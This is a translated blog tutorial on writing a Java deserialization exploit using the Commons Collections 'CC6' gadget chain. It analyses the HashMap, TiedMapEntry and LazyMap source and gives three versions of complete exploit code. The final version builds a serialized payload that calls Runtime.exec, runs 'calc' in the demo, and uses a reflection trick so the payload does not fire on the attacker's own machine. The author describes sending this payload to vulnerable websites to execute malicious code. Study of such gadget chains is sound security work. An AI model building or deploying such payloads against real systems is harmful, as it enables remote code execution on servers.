CC6 utilization chain (the best CC utilization chain)--EXP writing ideas--source code analysis

In this article, you can have a deeper understanding of the CC utilization chain, and learn a deeper idea of ​​EXP writing

To read this article, you need to understand my first three articles. The reading order is as follows:

  1. Source code analysis of URLDNS written by chain EXP
  2. CC1 uses the source code analysis written by chain EXP
  3. CC1-LazyMap utilization chain-source code analysis

Of course, if you have a CC chain based master, you can use it with confidence

The version affected by the vulnerability

JDK version is not limited

commons-collections <= 3.2.1

combing with chains

反序列化 --> HashMap.readObject() --> TiedMapEntry.hashCode() --> LazyMap.get() --> ChainedTransformer.transform() --> InvokerTransformer.transform()

The difference between this CC6 utilization chain and the two chains of CC1 in the previous two articles is that the deserialization of HashMap is used to form an utilization chain. Since HashMap is used in many scenarios, developers generally do not easily Modify HashMap, so this CC6 chain is not restricted by JDK version. Only limited by the commons-collections version.

Another point is that a method used by the CC6 chain is hashCode(). It happens that the TiedMapEntry class in commons-collections also has hashCode(), so this place is similar to the source code analysis written by URLDNS using the chain EXP in this column. wonderful.

Use chains to find ideas and analyze

In the CC6 utilization chain, our search idea is not to go up one level at a time, because we have determined the second half of the chain through the research of the previous utilization chain, so our search idea can be from the front of the utilization LazyMap.get() --> ChainedTransformer.transform() --> InvokerTransformer.transform()chain At the beginning, since the two chains of the previous CC1 chain are dependent on AnnotationInvocationHandlerthe classes in the JDK, this class is affected by the JDK version, so we need to find other classes to use. It is easy to think of HashMap, which can not only be serialized , is still a very, very commonly used data structure. This is generally not easily changed in the JDK version. After the previous research on URLDNS utilization chains, we can think of the idea of ​​​​URLDNS utilization chains. Can we still use HashMap when deserializing? The feature of the hashCode() method is called by default, and then we only need to find another class with the hashCode() method. Sure enough, the masters found one of the commons-collections, which happens to have the hashCode() method, and this TiedMapEntry类class It also implements the Serializable interface, which can be serialized, as shown in the figure:

image-20230815214151467

The getValue() method is called, and then the getValue() method is seen:

image-20230815215148766

It can be seen that the get() method is just called in this method, and both the key and the map are controllable. Here it is just connected to the get() method of LazyMap in the second half of the chain.

Source code analysis

According to the above analysis of using the chain to find ideas, we found that we only need to construct a TiedMapEntry object, pass it to HashMap and automatically call the hashCode() method when deserializing to complete the utilization of the second half of the chain, so how should we construct it? What about TiedMapEntry? Just pass the LazyMap object into the constructor of the TiedMapEntry object.

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");

When deserializing, the method in TiedMapEntry calls the process hashCode() --> getValue() --> map.get(), so that it can directly call the get() method of lazyMap, thus connecting to the second half of CC6 chain

After constructing this TiedMapEntry object, our next step is to construct a HashMap object, and store the tiedMapEntry as a key in the HashMap, thus roughly forming the first half of the chain: HashMap.readObject() --> TiedMapEntry.hashCode():

Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");

Preliminary completion of EXP preparation

The next step is to serialize the map2 object to generate a payload, so write together with the code of the second half chain, and the writing of EXP is initially completed:

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-16 10:56
 **/
public class CC6Test {
    
    
    public static void main(String[] args) throws Exception {
    
    
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //将chainedTransformer对象封装进LazyMap中
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        //序列化payload
        ByteArrayOutputStream barr = serialize(map2);
        serialize(map2);
    }
public static ByteArrayOutputStream serialize(Object o) throws Exception{
    
    
    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(o);
    System.out.println(barr);
    return barr;
 }
}

EXP problem analysis

After the initial completion of EXP, I executed it and found a problem. I called up the calculator directly, but I only serialized it and did not call the deserialization method. Why did this happen? Let's analyze it below:

In this EXP, we use the hashCode() call of HashMap to trigger the chain call. When we execute this code, we map2.put(tiedMapEntry,"yuan_boss");will actually call the hashCode() method to form an utilization chain, and then trigger the calculator, possibly Some friends will think that triggering the calculator means that the goal has been achieved?

If you think this way, your friends may be biased. Our goal is not to trigger the calculator, but to be able to trigger the calculator during deserialization is the ultimate goal. Because in the end we have to hand over the serialized payload to a website with vulnerabilities for testing, and let the website trigger our malicious code when deserializing it for us, instead of executing malicious code when we serialize and generate the payload.

So we need to add a deserialization method, and test our serialized payload, and then break the deserialization point to see if the deserialization can trigger the calculator again:

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-16 10:56
 **/
public class CC6Test {
    
    
    public static void main(String[] args) throws Exception {
    
    
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //将chainedTransformer对象封装进LazyMap中
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        //序列化payload
        ByteArrayOutputStream barr = serialize(map2);
        serialize(map2);
        unSerialize(barr);
    }
	public static ByteArrayOutputStream serialize(Object o) throws Exception{
    
    
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
 }
	public static void unSerialize(ByteArrayOutputStream barr) throws Exception{
    
    
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }
}

But unSerialize(barr);after the breakpoint reached this line, it was found that the calculator could not be triggered , so it can be inferred that the exploit chain was not entered during deserialization. Next, the source code analysis began, and the hashCode() of the TiedMapEntry object was called during deserialization. method, and then call the getValue() method of TiedMapEntry, as shown in the figure:

image-20230816141459521

Then the get() method of LazyMap will be called, and then we will see the get() method of LazyMap:

image-20230815204027961

It can be seen that in order to call the transform() method, conditions are also required. If the key parameter passed in by the get() method exists in the map, the transform() method will not be called. If the key does not exist in the map, it will It will enter the if statement, and then call the transform() method to execute the exploit chain. But in the get() method of the LazyMap class, we can see

map.put(key,value), which means that the key and value we passed in will be put into the map. If we call the get method of the map later, we will find that the key already exists in the map, so the transform method will not be called, so we are putting the map After that, the key of LazyMap needs to be removed, so as to avoid the inability to call the transform() method due to the existence of the key during deserialization, so the key needs to be removed:

lazyMap.remove("yuan666");

After the above analysis, we can perfect the EXP.

Preliminary improvement of EXP

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-15 19:53
 **/
public class CC6 {
    
    
    public static void main(String[] args) throws Exception {
    
    
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //为了避免在put的时候就执行恶意代码,于是将LazyMap的第二个参数设置为没用的对象
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        //移除lazyMap中的key,否则反序列化的时候由于具有key,就不会调用transform()方法了
        lazyMap.remove("yuan666");
        //重新给给LazyMap的第二个参数设置为 chainedTransformer
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        ByteArrayOutputStream barr = serialize(map2);
        UnSerialize(barr);
    }
    public static ByteArrayOutputStream serialize(Object o) throws Exception{
    
    
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
    }
    public static void UnSerialize(ByteArrayOutputStream barr) throws Exception{
    
    
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }
}

Final EXP

Because the above EXP actually has a subtle place that can be optimized, that is, when we put, it will trigger the use chain to execute malicious code, which is meaningless, and if the malicious code is very dangerous, will it affect us? Its own client, so in order to avoid harming itself, it is necessary to first change the second parameter of the malicious lazyMap object to non-malicious code, and then set the second parameter of the lazyMap object to malicious through reflection before serialization Transformer is enough.

So make the following changes in the way of constructing lazyMap to change a Transformer object of LazyMap into a non-malicious object:

 Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

Then set lazyMap via reflection before serialization:

//重新给给LazyMap的第二个参数设置为 chainedTransformer
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

Then finally the EXP can be refined:

最终EXP

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-16 10:56
 **/
public class CC6Test {
    
    
    public static void main(String[] args) throws Exception {
    
    
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        //将非恶意的ConstantTransformer对象封装进LazyMap中,防止在本机执行恶意代码
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
        Map map2 = new HashMap();
        map2.put(tiedMapEntry,"yuan_boss");
        lazyMap.remove("yuan666");
        //重新给给LazyMap的第二个参数设置为 chainedTransformer
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        //序列化payload
        ByteArrayOutputStream barr = serialize(map2);
        unSerialize(barr);
    }
    public static ByteArrayOutputStream serialize(Object o) throws Exception{
    
    
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
 }
    public static void unSerialize(ByteArrayOutputStream barr) throws Exception{
    
    
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }

}

Guess you like

Origin blog.csdn.net/weixin_46367450/article/details/132323265